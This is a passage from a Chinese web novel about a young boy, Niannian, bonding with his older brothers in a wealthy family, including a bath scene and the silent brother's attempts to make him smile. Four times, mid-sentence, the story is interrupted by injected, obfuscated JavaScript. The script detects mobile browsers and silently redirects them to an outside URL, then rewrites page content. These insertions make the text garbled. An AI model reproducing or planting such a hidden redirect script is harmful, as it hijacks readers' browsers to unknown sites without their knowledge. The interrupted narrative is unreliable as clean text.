这颗梨涡很小,好在他的手指也小,能够完整包裹住他的食指,软软暖暖的,他很喜欢。 年年被三哥哥奇怪的举动给弄懵了,笑容已经收回去,三哥哥的手指还按着他的嘴角,不知道在做什么。 “哥哥?”年年小声开口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691331|173362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季岁则的眉心微微皱起,他还没有欣赏够,怎么就没了呢? 他一声不吭转身就走,留下满脸懵逼的年年。 年年目送着季岁则的背影消失,才看向手里的糖果,因为季岁则奇怪的反应,他不知道该不该吃这个糖果了。 一分钟后,季岁则又回来了,还拎着一个鼓鼓囊囊的塑料袋,他走到年年身边,袋子随手往地毯上一扔,最顶上的玩具从袋子里滚落,小怪兽摊开圆鼓鼓的肚皮,朝年年露出一个憨态可掬的微笑。 年年双眼一亮,季岁则捕捉到了,捡起那只粉色的小怪兽玩偶,在年年眼前晃了晃。 小团子果然喜欢这只玩偶,眼睛都挪不开了,他把小怪兽移到左边,小团子的眼睛就挪到左边,他把小怪兽高高举起,小团子就仰起脑袋,脖子都拉直了。 季岁则不再逗弄小团子,把玩偶塞入小团子怀里,再次收获了小团子的笑容。 “谢谢哥……”年年的话还没有说完,季岁则的食指再次按住了他左边嘴角。 年年:“……” 季岁则的手指仿佛是控制他笑容的开关,季岁则手一按,年年就会失去笑容。 季岁则也发现了这个秘密,他脸上蒙上一层没来由的烦躁,又拿起一个小兔子玩偶,和刚才一样逗弄年年,但这个办法已然失效了。 年年搂紧小怪兽玩偶,小小声道:“年年有这个就够啦,谢谢哥哥。” 故事书上说,人不能太贪心,免得捡了芝麻丢了西瓜。 他有小怪兽玩偶就已经很知足了。 季岁则:“……” 一个就够了? 他认识的那群小孩恨不得把他的玩具全部搜刮走,尽管他一点都不喜欢这些玩具,但这些东西是长辈送的,具有意义,所以他才会留到现在。 按照他想的,他会把这些玩具一一送给小团子,这个袋子一共13件玩具,他能收获小团子13个微笑,还有13次碰触梨涡的机会。 “不喜欢?”难得的,季岁则一天之内说了好几次话,他的声音听上去还是很虚弱,色泽微浅的眼眸执拗地凝视着年年。 年年不明白三哥哥好端端的为什么突然这么看他,就见季岁则又从袋子里拿出一个玩具递给他。 年年抱紧小怪兽玩偶,怯生生道:“不、不用了。” 在季岁则看来,不用就等于不喜欢,小孩子的喜好最是明显,喜欢的东西一定会迫不及待拿走。 季岁则毫不犹豫将这个玩具扔在沙发里,又拿起了新的玩具。 年年的回答还是“不用”,季岁则再扔再拿,年年不明白三哥哥到底要做什么,这次没再拒绝,小心翼翼接过三哥哥给的玩具,说了声“谢谢”,又收获了三哥哥深沉的凝视。 季岁则等了几秒,都没有等到小团子的笑容,他皱眉看着小团子手里的变形金刚,得出结论,这东西不招小团子的喜欢。不然,小团子怎么不笑呢? 季岁则不由分说拿走年年手里的变形金刚,年年错愕间,一只圆滚滚的小猪存钱罐落进他怀里。 季岁则:“喜欢吗?” 年年:“……” 季岁则没发现自己表情过于严肃,在年年看来像是在生气。 年年抿抿小嘴,极小声道:“喜、喜欢的。” 年年努力撑起笑容,最终还是失败了,眼眶四周泛起红色,抿成波浪线的唇线可以证明,他一点都不喜欢。 季岁则第一次陷入了自我怀疑中。 讨好一个人,怎么比解奥数题还要难? 7. 第 7 章 季岁则陷入困惑的时候,年年同样也陷入困惑当中。还年幼的他不明白季岁则的行为是什么意思,只知道,他似乎惹季岁则生气了。 僵持的气氛没有持续太久,苏晏珩打完电话回来,就见两个孩子大眼瞪小眼看着彼此,谁都没有先开口说话。这在他看来并不奇怪,让季岁则开口说话比中彩票大奖还要难,苏宥年不仅躲着他,也躲着季岁则,不跟季岁则交流也属正常。 苏晏珩不禁在心中沾沾自喜,弟弟还是最喜欢他的。 “都八点了,该去洗澡了,洗完赶紧去睡觉。”苏晏珩一边说着一边抱起年年,和面色严肃不知道在想什么的季岁则打了声招呼,就带着年年去楼上了。 平时都是保姆负责给年年洗澡的,苏晏珩今天忽然很想体验一次给弟弟洗澡的感觉,他在保姆的指导下调试好了水温,两人在浴室内忙碌,年年已经自觉地脱掉衣服,手里拿着从柜子里翻出来的橡皮小黄鸭。 保姆一回头,就见小少爷赤/条条坐在浴室门口的小凳子上,乖觉的模样逗得她开怀大笑:“哎哟,我的小少爷呀,你怎么自己就把衣服脱了?这是等不及要下水了?” 年年脸颊微红,抓着小黄鸭的手紧了紧,小黄鸭的肚子瘪下去,发出一声短促的嘎嘎。苏晏珩被声音吸引,看见年年此刻的模样,也忍不住笑了起来。 他关掉浴缸的水,起身走到年年身边,弯腰抱起把自己羞得粉嘟嘟的小崽子:“水还没放好就把衣服脱了,就不怕感冒?” 年年拿手做扇子扇了扇风:“热,一点都不冷。” 马上就七月份了,防止年年洗完澡会被冻到,卧室内没有开空调,室温28°,是挺热的。 这还是苏晏珩第一次直接接触年年的皮肤,小孩的皮肤最是娇嫩,年年被养得很好,四肢如莲藕般胖乎乎的,他身上肉最多的地方还是屁股。 苏晏珩一碰触就感觉自己的掌心陷在了一块如棉花糖的云中,又比棉花糖硬一些,手感好得出奇。才碰了几下就有些爱不释手了,要不是身为大哥的矜持拽着他,他真想狠狠揉捏两把。 怪不得很多人说,这个年纪的小孩最好玩,软乎乎的,怎么看怎么可爱。 苏晏珩没有贪恋太久,才抱了一会就把年年放进浴缸里。 年年的左脚不能沾水,泡澡的时候只能将左脚搭放在浴缸边缘,苏晏珩帮他调整了姿势,直到他说没有不舒服才松开手。 苏家的浴缸非常大,给小孩安排的也是可容纳两个成年人的圆形浴缸。 年年以前的家是没有浴缸的,只有淋浴设备,浴室还很小,自他学会了照顾自己后,妈妈连给他洗澡这件事都抛之脑后了。 年年虽然聪明,但自己给自己洗澡对他来说还是非常困难的,第一次洗澡的时候,他把自己给洗哭了,因为水打湿了瓷砖地板,他一个不小心摔倒了,膝盖和手肘磕青了好几块,他哭着跟妈妈诉苦,哀求妈妈再照顾照顾他,等他再长大点,肯定不会再麻烦妈妈了,妈妈却一脸不耐地推开他,非但不关心他的伤势,还指责他没用。 想到伤心事,年年眼睛酸涩不已,害怕被大哥哥看出来,他将脸埋入水中,眼泪落入水里,就不会被发现了。 他这突然的举动吓到了苏晏珩,苏晏珩忙将他拉起,捧着他的脸仔细检查。 年年吐出水,笑呵呵道:“好玩。” 苏晏珩脸色铁青:“哪里好玩了?你快吓死我了,我还以为你要被淹死了。” 年年:“就一会会,淹不死的。” “行,你说的都有道理。”苏晏珩气得笑出声来,掐了下小崽子肉乎乎的脸颊,“你现在还太小,憋不好气,万一水流进气管该怎么办?等你再长大点,我给你报个游泳班,到时候你想怎么玩水就怎么玩。” 意识到自己这说法还是有问题,苏晏珩又改口道:“但前提是,你身边得有大人看着,记住,玩水是件危险的事情。” 年年听得认真,听完后猛点了几下小脑袋,乖巧道:“我记住啦。” 他往前挪了挪,抱住大哥哥结实的小臂,低头,拿脸蹭了蹭,软乎乎道:“哥哥真好,年年好喜欢哥哥。” 苏晏珩:“……” 苏晏珩从没接受过来自亲人的热烈告白,即使已经习惯了小崽子的黏糊,但听到小崽子说“喜欢”,还是让他有些不自在。 “知道啦。”苏晏珩清了清嗓子,轻声回应。 他心中再次生出了同样的遗憾,为什么没有24小时随时拍摄弟弟的摄像机呢,这样他就不会错过弟弟的每一时刻,也能在闲暇时刻回看可爱的弟弟。 想起经纪人的话,苏晏珩忽然有些动心。 苏晏珩和他的经纪团队都没有想到,苏晏珩随手发的一条微博会引起那么大的关注,从发微博到现在,苏晏珩的多条热搜在前排居高不下,网友们讨论的最多的除了苏晏珩之外,还有苏宥年,以及苏晏珩的家庭。 苏晏珩从出道起就备受争议,喜欢他的人很多,讨厌他的人同样多。很多人觉得,苏晏珩本身没什么实力,全靠家庭扶他上位,因为背靠庞大的豪门,所以他才能轻轻松松就成为顶流偶像,别人需要几年或者十几年才能做到的事,他只三年就做到了。 苏晏珩一开始是以歌手出道,他自己都承认,自己的唱功是有瑕疵的,之所以能那么快爆红,有一半是靠这张优越的相貌。后来他决定转型,力图打破“相貌”这一标签,使劲将自己往丑里整,以为自己扮丑就能打破观众的偏见,但这一批观众根本不买他的账。 苏晏珩有一段时间陷入了自我怀疑的困境中,凭着坚定的心性挣脱出了困境,才发现,他以前的做法全都是错的,他以前都是从黑子的言论出发,试图向黑子证明自己,但他不需要向他们证明什么,做好自己才是最重要的。 后来他不再一味的接丑角,开始沉淀自己,报了演戏班,花了几年的时间才终于走到如今的位置。但不管他如何展现自己的优秀,还是会有人看他不顺眼。 苏晏珩今年才28岁,在娱乐圈内拥有大好前景,但长期被失眠症折磨,这导致他不得不推掉许多工作。经纪人兆顺时常懊恼,要是接了那些工作的话,苏晏珩不会只局限于此。 苏晏珩对能不能更红不太上心,唯一让他在意的是,他推掉的那些工作都被他的死对头给截胡了,眼看着死对头抓着他不要的资源步步飞升,快要爬到跟他一样的位置了,苏晏珩就气得牙痒痒。 上个月,狗仔拍到了苏晏珩最疲惫的时刻,那时的苏晏珩已经连续一周没有睡过好觉了,脸色铁青,黑眼圈深的隔老远都能看得一清二楚。这些照片传到网络后,不知怎么就冒出他吸/毒的谣言,虽然团队在第一时间澄清解释,但还是留下了不好的印象。 死对头顾停非再次借着这次舆论狠狠踩了他一脚,转头就截胡了他的多个资源。 兆顺刚才打电话告诉他,顾停非再次截胡了他的资源,这次不是他不要的,节目组原本选定了他,还没联系他的经纪团队,顾停非不知从哪里得知这个消息,抢先一步与节目组沟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691332|173362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通,直接抢下。 苏晏珩不介意自己不要的资源被人瓜分,唯独介意别人抢走原本属于他的东西。他跟顾停非是高中同学,两人都是班里的尖子生,他们的战争从学习延伸到了事业,顾停非总差他一点,总在他身后不停追赶他。 苏晏珩可以想象,顾停非如果追上他,与他并肩而行或者超过他,那家伙肯定要用得意的嘴脸来嘲讽他,看他的笑话。 顾停非截胡的是一档带娃综艺,顾停非还没结婚,他有个五岁的侄子,在一年前因为可爱的长相爆红网络,如今也是拥有三十多万粉丝的小网红。 兆顺打电话跟他说这件事的时候,他对此嗤之以鼻,顾停非的侄子再可爱,能可爱的过他家小崽子吗? 年年第一次泡澡,就体会到了泡澡的美妙之处,热水将他的身体泡得暖融融的,水流仿佛灌入了脑袋里,他的脑袋逐渐变得晕乎乎的,枕着大哥哥的手臂打起了小呼噜。 苏晏珩回过神来时,小崽子已经睡着了,脑袋一点一点,脸颊紧贴着他的手臂,没有因为脑袋的晃动而分开一点。连睡着了都这么黏人,真是甜蜜的烦恼呢。 苏晏珩笑着把小崽子捞出来,刚落入熟悉的怀抱中,年年就醒了,他眼里还布满迷茫,小声咕哝:“哥哥,我好像睡着了。” “不是好像,你就是睡着了。”苏晏珩将小崽子放在垫了浴巾的盥洗台上,又在小崽子身上盖了一条新浴巾,他接过保姆递来的干净毛巾,帮小崽子擦干净头发上的水。 “泡澡好舒服哦。”年年眯着眼睛,一副惬意的小模样。 苏晏珩:“你喜欢的话,以后都泡澡?” 年年点点小脑袋,高兴道:“喜欢的。” 但前提是,先把脚伤给养好,不然老是保持那样的姿势,久而久之肯定会不舒服的。 年年睡着时一直抓着橡皮小黄鸭,从水里出来后,小黄鸭还被他紧紧抓着,随着他话音落下,小黄鸭发出几声短促的嘎嘎声,仿佛学他的主人在回应苏晏珩的话。 苏晏珩越看越喜欢,又想起了兆顺的话:“你不是说,跟你弟弟在一起时你能睡着吗,你休假结束后该怎么办?没有你弟弟,你不会又要失眠了吧?” “你想说什么?” 兆顺:“这个节目还有几个名额呢,我知道你肯定不甘心顾停非抢了你的资源,要不,你带你弟弟也参加这个节目?你想嘛,你可以一边工作一边陪伴你弟弟,顺便缓解你的失眠症,这不是两全其美的事情吗?” 苏晏珩没有立即答应下来,也没有直接拒绝。 他一个人不能完全做决定,还要看小崽子的意思。 苏晏珩装着心事,替年年穿上了睡衣,米黄色的睡衣上印着好几只小鸭子,年年看到这套睡衣时就很喜欢,小手不停抚摸肚子上的小黄鸭,另只手捏着橡皮小黄鸭,让橡皮鸭子发出嘎嘎的声音。 苏晏珩在年年身旁坐下,摸了摸小崽子的头发,又问了一遍之前就问过的问题:“哥哥如果去工作了,你会想哥哥吗?” 年年毫不犹豫道:“想的。” 他之前想过,即使大哥哥不在家,家里也有管家保姆,只要不是一个人,他就不害怕了。但真面对大哥哥不在家的情况,他还是有些难过的。 他没有自己想的那么豁达,他很想时时刻刻陪在这么好的大哥哥身边。 最重要的是,他要治好大哥哥的失眠症。 脑袋又被揉了两下,大哥哥温柔的声音传递过来:“那你要不要陪哥哥一起去工作?” 8. 第 8 章 年年还是毫不犹豫回答:“想。” 压根没有想过苏晏珩要带他去哪里的问题,才相处了一天,他就本能相信,苏晏珩不会伤害他。 “哥哥这份工作跟你也有关系。”苏晏珩边说,边将年年搂进怀里,“工作的时候,会有很多摄像机对着我们,会有很多人看着我们,我们做什么他们都知道。” 年年僵了下,犹豫道:“洗澡,上厕所的时候,他们也会看着我们吗?” 这个年纪的他已经早早有了羞耻心,被大哥哥和保姆阿姨看倒是无所谓,被陌生人看了去,他会羞死的! 苏晏珩:“……” 苏晏珩:“当然不会,凡是涉及隐私的,摄像机都不会拍到的。” “那就没有关系啦!”年年松了口气,搂住苏晏珩的脖子,黏黏糊糊道,“年年要跟哥哥一起去工作,年年要陪着哥哥。” 苏晏珩没忍住,在小崽子的脸上重重亲了一口,果然跟想象中的一样柔软,他没忍住,又连连亲了好几口,惹得年年发出咯咯咯的笑声。 保姆没有打扰搂抱在一起的兄弟,默默退出房间,打开门的瞬间,季岁则的身影出现在房门外。三少爷总是神出鬼没的,保姆被吓到几次后就已经习以为常了,她淡定地跟季岁则打了声招呼,松开门把手就往楼下走。 保姆以为季岁则要进房间,因此没有关上门,在她走后,季岁则仍旧站在原地,安静地注视着房间内的两人。 年年和苏晏珩都没有发现季岁则,更加不知道季岁则是什么时候离开的。 “好了,你该睡觉了。”苏晏珩跟小崽子闹了会就停下了,时针指向了九点,是小孩子该睡觉的时间。 年年“哦”了声,乖乖爬进被窝里,苏晏珩刚替他掖好被角,就被他抓住了手。 “哥哥不跟年年一起睡觉吗?” 苏晏珩笑道:“你想让我跟你一起睡?” “想的。”年年翻了个身,侧身看着苏晏珩,“喜欢跟哥哥一起睡。” 苏晏珩差点又想亲小崽子了,他克制住内心的冲动,却没答应小崽子的要求。 苏晏珩隔着被子拍拍小崽子的屁股,说道:“我可以陪着你,到你睡着为止,但我不能跟你一起睡。” “为什么?”年年不解。 苏晏珩白天的时候都陪他睡了两次觉,怎么到晚上就不行了呢? 苏晏珩告诉兆顺,自己能睡着是因为年年的关系,但他心底里其实不太肯定,所以,他想做个实验,自己单独睡觉能不能睡着。 他不想把自己的病情告知给小崽子,免得小崽子担忧,只轻轻拍抚小崽子的屁股,扯了个谎:“我还有工作要处理。” 年年早就学会了察言观色,他知道苏晏珩在说谎,也没有戳穿,在苏晏珩的哄劝下,才慢慢松开了苏晏珩的手。 “那哥哥忙完了要早点睡哦。” 苏晏珩笑道:“哥哥知道。” 苏晏珩又陪了弟弟一会,直到年年睡过去了,才悄无声息地退出房间,回房后,他就给兆顺回了消息。兆顺很高兴,不像往常那般抓着他聊上大半天,没说几句就挂断电话,想来肯定是去跟节目组的工作人员洽谈这次的合作去了。 - 季岁则按下密码锁的时候特意多看了密码锁好几眼,这个密码已经泄露了,按他的性格,是会立马更换密码的,他在门口驻足了会,还是决定不换了。 大哥一向说到做到,说要拆了这道密码锁,明天保证会让人来拆,那换与不换就没有意义了。 季岁则刚走到床边,陈妈的呼唤就在门外响起:“三少爷,要我帮您洗澡吗?” 陈妈只是例行询问,季岁则的回答永远都是“不”,果不其然,季岁则打开门冲她摇了摇头。 陈妈又道:“那我帮您放水,然后在门外等您。” 季岁则能独立行走后就不喜欢别人碰自己,四岁后就不要别人帮他洗澡了,家里人不可能放一个四岁小孩自己洗澡,陈妈的主要任务是在季岁则洗澡的时候盯着季岁则,免得季岁则出意外。对此,季岁则没有表示反对。 陈妈放好了水,季岁则拿着换洗衣物走进浴室,陈妈退出时没有关紧门,留了一小点空隙,方便她能随时看到季岁则。 看着季岁则熟练地脱掉衣服踏进浴缸内,陈妈叹息了声。在来苏家以前,她曾在另外两户人家当过保姆,干这一行那么多年,还是第一次遇见这么聪明又听话的小孩。 在她看来,季岁则的沉默不是问题,反倒觉得季岁则懂事得让她有些心疼,想起突然变得懂事的苏宥年,她又是一声叹息。 也不知道老爷和夫人什么时候才能醒悟,放下对彼此的成见,好好静下心来看看他们的孩子,长期这样下去,她真担心这两个听话的孩子会走上不归路。 一切平安,季岁则洗完澡后,陈妈就自觉地离开了。 时间已接近十点,季岁则还没有要睡的打算,他躺上床,拿起刚从书房里找到的一本书打算阅读,放置在床头柜上的手机响了,来信人是他的表弟季时雨。 季时雨是季岁则外公的哥哥的孙子,比季岁则小了四个月。 季时雨的父母忙于工作,爷爷奶奶又长居国外,因此,季时雨大部分时间都是在季老爷子那待着,季岁则又时常住在季老爷子那,一来二去,季岁则就跟季时雨认识了。季时雨学会爬的时候就喜欢跟在季岁则屁股后面,到现在都还喜欢黏着季岁则。 季岁则点开了语音,季时雨咋呼的声音立马打破了满室的寂静:“你明天什么时候过来呀?我跟我妈说一声,让他早点送我去叔公家,我把刚到手的模型给带上,我们明天一起拼模型呗!” 【季岁则:明天我不过去。】 季时雨立马给季岁则打了通语音电话,季岁则一接起,季时雨便尖叫道:“你为什么不过来了?不是说好要去叔公家住一段时间的吗,我都跟我妈说好了,我也要在叔公家住几天,你把我一个人丢在叔公家,不是要让我被叔公唠叨死吗?” 季家一群同辈小孩中,季岁则是最聪明的,也是长辈最看好的孩子。有了季岁则做对比,只知道吃喝玩乐的季时雨就成了废物,长辈知道他是什么德行,也不对他抱以期待,但看他不成器的样子,偶尔也是会唠叨几句的。 尤其是季岁则的外公,每次见了季时雨都要念叨上很久,弄得季时雨见了他就躲,这次也是因为季岁则要过去,他才大着胆子送上门。 季岁则不紧不慢打字,季时雨的抱怨声没有停下:“季岁则你怎么能这样啊,说好的事情不能反悔,不然鼻子会变长的!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691333|173362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 季时雨一连抱怨了好几句,才终于等到了季岁则的消息:【我什么时候跟你说好了?我只是说要去外公家住,你自己说要过来,跟我没有关系。】 季时雨吸了吸鼻子,委屈道:“你好冷漠哦,亏我还想着把我新到手的模型给你摸呢。” 【季岁则:那就谢谢你的好意了。】 季时雨噎了下,哭唧唧道:“可我都跟我妈说好了,你知道我妈是个说一不二的人,我要反悔她肯定不会答应,还会狠狠打我的屁股,你真的忍心把我一个人丢给叔公啊?” 【季岁则:外公年纪大了,需要人陪,他很喜欢你,你正好去多陪陪他。】 那是喜欢吗! 哪有人喜欢他还想着法的逗弄他呀! “季岁则!”季时雨暴怒道,“我再也不理你了!” 季岁则充耳不闻,扔下手机,专心看他的书。 他没有挂断电话,因为知道季时雨只是嘴上说说,挂断了,季时雨转头还会打给他,他不想折腾来折腾去。 季时雨气了半天,都没得到季岁则的一句哄劝,他对着手机话筒放声大哭,引来了季母的注意。 “季时雨,你看看现在几点了,你怎么还不去睡觉?你给谁打电话呢?”季母说话间已经看到了季时雨的手机屏幕,又气又无奈,“你自己大晚上不睡觉,还去骚扰小则,要哭就去一边慢慢哭,别打扰小则了。” 季时雨哭得更加厉害了:“呜呜呜妈妈,季岁则欺负我,还不理我!” 季母哪能不知道自家儿子的德行,态度冷漠:“哦,我听到了,你先把手机给我。” “呜呜呜连你也欺负我,我还是不是你的儿子了?” “你是啊,就因为你是我的儿子,我才好意思欺负你呀,别人还得不到我的欺负呢!” 季时雨:“呜哇哇……” 季时雨的哭声突然中断,季岁则瞟了眼黑屏的手机,又将目光落回到书上。 他的注意力从一开始就分散了,一个字都没有记入脑海。 季时雨打电话过来后,他才做出了决定,原本计划去外公家住几天,都因为“苏宥年”而改变了计划。 他喜欢破解难题,而现在,他遇到了人生中最大的难题—— 如何让苏宥年主动对他露出梨涡,甚至主动将梨涡给他摸。 他手里捧着一本名为《如何打动一个人的心》的书,这是他在书房里找到的,没有标注所属人的名字。 书房一般都是父亲在使用,想来这应该是父亲的东西,看书页的卷曲和磨损程度,这本书应该被翻过很多次,不然不会留下这样的痕迹。 想到父母糟糕的关系,季岁则开始怀疑自己的决定。 父亲读过这样的书都不能打动母亲的心,那这本书应该不能给他带来什么有用的知识?或许还会适得其反。 季岁则再一次阅读开头,这次还是无法平心静气地看进去。 寂静的夜里忽然响起开门声,离他最近的房间是苏宥年的房间,这声音应该是从苏宥年那传来的。 季岁则放下书下床,轻轻打开房门,斜对面的房门紧闭着,他将门缝开大了些,只来得及看到苏宥年一瘸一拐的背影消失在走廊拐角。 那个方向,是大哥的房间。 9. 第 9 章 这么晚了,苏宥年不睡觉,为什么要去大哥的房间,而且,还是在脚受伤不方便走路的情况下。 季岁则思考着,脚已经迈了出去,顺着苏宥年离去的方向追了过去。 年年其实没有睡着,苏晏珩刚一离开他就睁开了眼睛,他在床上翻来覆去了好一会,纠结要不要去大哥哥的房间。 有病就要及时就医,治疗到一半突然停下更不可取。 闭上眼睛,年年就能想到原文中大哥哥最后的结局,他不知道猝死是什么感觉,但知道濒死前的感受。他经历过一次,不想那么好的大哥哥也经历那样的痛苦,所以,他得给大哥哥治病! 年年不再犹豫,艰难爬下了床。 家庭医生考虑到小孩太调皮,所以故意把病情往最坏的说,年年动了动脚,不像刚醒来时那般疼痛了。他扶着床沿,抓起放在墙边的儿童小拐杖,一步一挪地往门口走。 他走路很小心,尽量不拉扯到左脚,这导致他行进速度十分缓慢,从床到门口只有五六米远,他硬是花了几分钟的时间。好在大哥哥的房间离他的房间不远,拐过转角就是大哥哥的房间。 适应了拐杖后,年年的速度渐渐变快了,挪到苏晏珩的房门口时,他对着门板露出一个得意的笑。他还是很厉害的嘛,大哥哥知道了,会不会夸奖他呢? 肩膀忽然被人拍了下,年年吓了一跳,身体向□□斜,眼看着就要摔倒,季岁则眼疾手快地扶住了他,这才避免惨剧的发生。 年年惊魂未定,看清来人是谁,下意识喊了句“哥哥”。 季岁则点点头,喉咙不停滚动,想说些什么,却迟迟没有开口。 他吓到了苏宥年,如果没有及时拉住苏宥年的话,苏宥年的另一只脚很有可能也会受伤。 他应该要说对不起的,但不知道该怎么开口。 “哥哥,你也睡不着吗?” 季岁则紧盯小团子的脸,没有惊慌和害怕,也没有责怪他,好像不管他对这只小团子做什么,对方都不会生气一样。 季岁则点了下头,指指门板。 年年深思了会,猜到了三哥哥的意思,解释道:“我想陪大哥哥睡觉。” 季岁则眉头微蹙,就听小团子继续道:“大哥哥总是睡不好,我跟他一起睡觉,他能睡得很好。” 季岁则是知道大哥这个毛病的,看过多少医生都治不好,小团子什么都不做就能让大哥睡着? 想到下午在花园看到的那一幕,季岁则又不太确定了。 他还抓着年年的手臂,思索时,不知不觉加重了力道。 年年忍了又忍,受不了了才小声开口:“哥哥,你抓得我好痛,能不能放开我呀?” 季岁则闻言果断松开了年年的手,年年说了声“谢谢”,就背转过身,抬手去够头顶的门把手。 苏晏珩的房门比他的房门要大,门把手的位置也偏高,年年站直了还没有门把手高,抬起手能勉强够到门把手,但因为顾忌左脚,年年不敢站得太直,他伸直了胳膊,才终于抓住了门把手。 季岁则看得胆战心惊,站在小团子身后,双手张开,虚虚护住小团子,确保能在第一时间接住对方。眼看着小团子抓住了门把手,又因为力气消耗殆尽松开了手。 这具身体实在太虚弱了,来到这里已经消耗了大多数体力,这会已经到了极限。 年年呼哧呼哧喘气,转头朝季岁则投去一个求助的目光:“哥哥。” 季岁则眨了眨眼,似在回应年年的呼唤。 年年又喘了口气,因为疲累,声音比平时还要黏糊:“能不能帮帮我?” 季岁则没有开口,突然伸手,戳了下年年的左边嘴角。 年年愣了愣,一时之间不明白季岁则的意思:“哥哥?” 季岁则加重了力道,手指缓缓挪动,将年年的嘴角往上扯。 年年:“……” 年年犹豫道:“哥哥是想要我笑吗?” 季岁则点头,年年立马露出一个笑,梨涡陷下去的那瞬间,连带着季岁则的食指也下陷了,紧紧包裹住指尖。 季岁则得到报酬,抬手按下门把手,在年年期待的目光中,大门纹丝未动,房门上锁了。 季岁则看看一脸失望的小团子,又看看紧闭的房门,抬手就要去敲门,在半途就被年年给抱住了。 “不要敲门,大哥哥说不定已经睡着了,你敲门的话,可能会把他给吵醒。” 季岁则听进去了,却没有收回手,任由小团子抱着他的手臂,似乎只要他不收手,小团子就也不会松手。 但很可惜,小团子很快就松开了他的手臂,转身将脑袋趴到门板上,似在聆听房间内的动静,半晌后才站直身体,得出结论:“大哥哥应该是睡着了。” 季岁则听出了小团子话中的可惜,心里没来由的有些不高兴:“你就那么喜欢跟大哥一起睡觉?” 年年一愣,惊喜道:“哥哥,你说话了。” 季岁则又变回了哑巴,顶灯的光被过长的刘海盖住,浅色双眸里蒙着一层暗芒,直勾勾盯着年年,其中的执着让年年有些忐忑。 年年莫名读懂了季岁则眼神的含义,季岁则在等待他的回答。 年年选择了诚实:“我喜欢跟大哥哥一起睡觉。” 季岁则抬手又要敲门,年年赶紧抱住了季岁则的手臂:“哥哥,你别敲门。” 季岁则面无表情道:“你不是想要跟大哥一起睡觉吗,我帮你。” 年年:“……” 开口说话的三哥哥怎么比不喜欢说话的三哥哥还要可怕?! “也不是非要每天一起睡觉的,我今天晚上可以自己一个人睡觉。”年年慌张说道。 季岁则却将他的话理解成另一个意思:“你害怕一个人睡觉?” 年年点点小脑袋。 尽管从有记忆起,他都是一个人睡觉的,但他还是渴望有人能够陪伴他。 季岁则:“我陪你。” 年年睁大双眼:“啊?” 季岁则没再说话,突然转过身,背对着年年蹲下,将还不够宽阔的后背对着年年,意思不言而喻。 年年有些不好意思,抓紧了小拐杖:“不、不用了,我可以自己走。” 季岁则微微侧头,脸上写满了执拗。年年算是看出来了,他这位哥哥是不达目的不罢休的性格,一旦决定了某件事情,就非得做到。 年年紧张地抠了抠光滑的拐杖,脸颊微红:“哥哥,我很重……” 他跟季岁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691334|173362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 则只差了两岁,季岁则瘦巴巴的,他则一身肉,大哥哥抱他时他毫无心理负担,让三哥哥抱他,他怕把三哥哥的小身体给压垮。 季岁则:“背得动。” 年年:“可是……” 季岁则不再给年年犹豫的时间,抓住年年的手腕,直接将年年拉到了他背上。 三哥哥的背跟看上去一样不太结实,年年胆战心惊地搂住三哥哥的脖子,紧紧贴住三哥哥的后背,颤声道:“哥哥,年年是、是不是很重呀,你要是背不动的话,年年可以自己走的。” 有了对比,他才知道苏晏珩的怀抱是多么有安全感。 季岁则神色紧绷,丝毫不费力地直起身,双手拖着小团子的两只腿,一声不吭地往他的房间走,用行动向小团子证明,他能背得动小团子,他才不弱。 季岁则还是高估了自己。 5岁的小孩哪能跟28岁的成年人相比呢,他的确能背动年年,但只能背一小会,大哥的房门口离他的卧室有二十多米的距离,将年年放到他床上后,他连连喘了好几口气。 抓着纸巾的小手探了过来,替他擦去额上的细汗,年年小脸涨得通红:“我很重吧,哥哥你下次不要背我了,你要是摔倒了该怎么办呀。” 最严重的是摔伤脚,他体验过疼痛的滋味就够了,哪能让三哥哥再体验一次。 年年满含关心的话落在季岁则耳里变了味,长这么大,他第一次知道尴尬是什么滋味。 在体力方面,他肯定是比不过大哥的,他也没想跟对方比较这个,每个人都有自己擅长的领域。 